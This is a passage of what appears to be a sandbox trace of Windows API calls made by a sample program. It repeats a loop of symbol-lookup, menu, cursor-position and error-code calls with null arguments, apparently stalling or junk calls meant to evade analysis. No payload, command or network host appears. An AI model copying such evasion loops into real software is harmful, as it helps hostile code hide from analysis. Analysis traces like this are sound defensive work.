hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.528] SymCleanup (hProcess=0x0) returned 0 [0185.528] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.528] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.528] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.528] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.528] GetLastError () returned 0x579 [0185.528] SetLastError (dwErrCode=0x579) [0185.528] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.529] SymCleanup (hProcess=0x0) returned 0 [0185.529] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.529] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.529] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.529] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.529] GetLastError () returned 0x579 [0185.529] SetLastError (dwErrCode=0x579) [0185.529] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.529] SymCleanup (hProcess=0x0) returned 0 [0185.529] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.529] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.529] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.529] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.529] GetLastError () returned 0x579 [0185.529] SetLastError (dwErrCode=0x579) [0185.529] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.529] SymCleanup (hProcess=0x0) returned 0 [0185.529] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.529] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.529] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.529] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1198, param_4=239, param_5=0x0, param_6=0x0) returned 0 [0185.529] GetLastError () returned 0x579 [0185.529] SetLastError (dwErrCode=0x579) [0185.529] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.529] SymCleanup (hProcess=0x0) returned 0 [0185.530] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.530] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.530] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.530] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.530] GetLastError () returned 0x579 [0185.530] SetLastError (dwErrCode=0x579) [0185.530] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.530] SymCleanup (hProcess=0x0) returned 0 [0185.530] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.530] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.530] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.530] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.530] GetLastError () returned 0x579 [0185.530] SetLastError (dwErrCode=0x579) [0185.530] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.530] SymCleanup (hProcess=0x0) returned 0 [0185.530] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.530] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.530] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.530] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.530] GetLastError () returned 0x579 [0185.530] SetLastError (dwErrCode=0x579) [0185.530] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.530] SymCleanup (hProcess=0x0) returned 0 [0185.530] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.531] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.531] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.531] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.531] GetLastError () returned 0x579 [0185.531] SetLastError (dwErrCode=0x579) [0185.531] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.531] SymCleanup (hProcess=0x0) returned 0 [0185.531] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.531] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.531] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.531] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=720, param_4=329, param_5=0x0, param_6=0x0) returned 0 [0185.531] GetLastError () returned 0x579 [0185.531] SetLastError (dwErrCode=0x579) [0185.531] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.531] SymCleanup (hProcess=0x0) returned 0 [0185.531] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.531] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.531] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.531] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.531] GetLastError () returned 0x579 [0185.531] SetLastError (dwErrCode=0x579) [0185.531] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.531] SymCleanup (hProcess=0x0) returned 0 [0185.531] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.532] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.532] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.532] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.532] GetLastError () returned 0x579 [0185.532] SetLastError (dwErrCode=0x579) [0185.532] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.532] SymCleanup (hProcess=0x0) returned 0 [0185.532] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.532] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.532] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.532] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.532] GetLastError () returned 0x579 [0185.532] SetLastError (dwErrCode=0x579) [0185.532] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.532] SymCleanup (hProcess=0x0) returned 0 [0185.532] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.532] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.532] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.532] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.532] GetLastError () returned 0x579 [0185.532] SetLastError (dwErrCode=0x579) [0185.532] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.532] SymCleanup (hProcess=0x0) returned 0 [0185.532] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.532] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.533] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.533] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=998, param_4=585, param_5=0x0, param_6=0x0) returned 0 [0185.533] GetLastError () returned 0x579 [0185.533] SetLastError (dwErrCode=0x579) [0185.533] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.533] SymCleanup (hProcess=0x0) returned 0 [0185.533] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.533] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.533] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.533] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.533] GetLastError () returned 0x579 [0185.533] SetLastError (dwErrCode=0x579) [0185.533] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.533] SymCleanup (hProcess=0x0) returned 0 [0185.533] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.533] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.533] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.533] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.533] GetLastError () returned 0x579 [0185.533] SetLastError (dwErrCode=0x579) [0185.533] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.533] SymCleanup (hProcess=0x0) returned 0 [0185.533] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.533] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.533] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.534] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.534] GetLastError () returned 0x579 [0185.534] SetLastError (dwErrCode=0x579) [0185.534] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.534] SymCleanup (hProcess=0x0) returned 0 [0185.534] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.534] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.534] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.534] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.534] GetLastError () returned 0x579 [0185.534] SetLastError (dwErrCode=0x579) [0185.534] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.534] SymCleanup (hProcess=0x0) returned 0 [0185.534] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.534] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.534] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.534] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=359, param_4=343, param_5=0x0, param_6=0x0) returned 0 [0185.534] GetLastError () returned 0x579 [0185.534] SetLastError (dwErrCode=0x579) [0185.534] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.534] SymCleanup (hProcess=0x0) returned 0 [0185.534] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.534] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.534] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.535] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.535] GetLastError () returned 0x579 [0185.535] SetLastError (dwErrCode=0x579) [0185.535] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.535] SymCleanup (hProcess=0x0) returned 0 [0185.535] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.535] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.535] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.535] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.535] GetLastError () returned 0x579 [0185.535] SetLastError (dwErrCode=0x579) [0185.535] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.535] SymCleanup (hProcess=0x0) returned 0 [0185.535] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.535] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.535] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.535] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.535] GetLastError () returned 0x579 [0185.535] SetLastError (dwErrCode=0x579) [0185.535] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.535] SymCleanup (hProcess=0x0) returned 0 [0185.535] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.535] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.541] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.541] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.541] GetLastError () returned 0x579 [0185.541] SetLastError (dwErrCode=0x579) [0185.541] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.541] SymCleanup (hProcess=0x0) returned 0 [0185.541] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.541] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.541] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.541] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1026, param_4=590, param_5=0x0, param_6=0x0) returned 0 [0185.541] GetLastError () returned 0x579 [0185.541] SetLastError (dwErrCode=0x579) [0185.541] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.541] SymCleanup (hProcess=0x0) returned 0 [0185.541] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.541] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.541] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.541] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.541] GetLastError () returned 0x579 [0185.542] SetLastError (dwErrCode=0x579) [0185.542] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.542] SymCleanup (hProcess=0x0) returned 0 [0185.542] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.542] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.542] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.542] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.542] GetLastError () returned 0x579 [0185.542] SetLastError (dwErrCode=0x579) [0185.542] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.542] SymCleanup (hProcess=0x0) returned 0 [0185.542] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.542] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.542] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.542] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.542] GetLastError () returned 0x579 [0185.542] SetLastError (dwErrCode=0x579) [0185.542] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.542] SymCleanup (hProcess=0x0) returned 0 [0185.542] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.542] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.542] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.542] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.542] GetLastError () returned 0x579 [0185.543] SetLastError (dwErrCode=0x579) [0185.543] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.543] SymCleanup (hProcess=0x0) returned 0 [0185.543] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.543] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.543] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.543] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=221, param_4=196, param_5=0x0, param_6=0x0) returned 0 [0185.543] GetLastError () returned 0x579 [0185.543] SetLastError (dwErrCode=0x579) [0185.543] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.543] SymCleanup (hProcess=0x0) returned 0 [0185.543] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.543] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.543] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.543] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.543] GetLastError () returned 0x579 [0185.543] SetLastError (dwErrCode=0x579) [0185.543] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.543] SymCleanup (hProcess=0x0) returned 0 [0185.543] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.543] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.543] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.543] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.543] GetLastError () returned 0x579 [0185.543] SetLastError (dwErrCode=0x579) [0185.544] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.544] SymCleanup (hProcess=0x0) returned 0 [0185.544] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.544] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.544] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.544] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.544] GetLastError () returned 0x579 [0185.544] SetLastError (dwErrCode=0x579) [0185.544] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.544] SymCleanup (hProcess=0x0) returned 0 [0185.544] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.544] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.544] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.544] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.544] GetLastError () returned 0x579 [0185.544] SetLastError (dwErrCode=0x579) [0185.544] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.544] SymCleanup (hProcess=0x0) returned 0 [0185.544] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.544] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.544] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.544] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=630, param_4=776, param_5=0x0, param_6=0x0) returned 0 [0185.544] GetLastError () returned 0x579 [0185.544] SetLastError (dwErrCode=0x579) [0185.545] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.545] SymCleanup (hProcess=0x0) returned 0 [0185.545] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.545] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.545] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.545] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.545] GetLastError () returned 0x579 [0185.545] SetLastError (dwErrCode=0x579) [0185.545] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.545] SymCleanup (hProcess=0x0) returned 0 [0185.545] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, 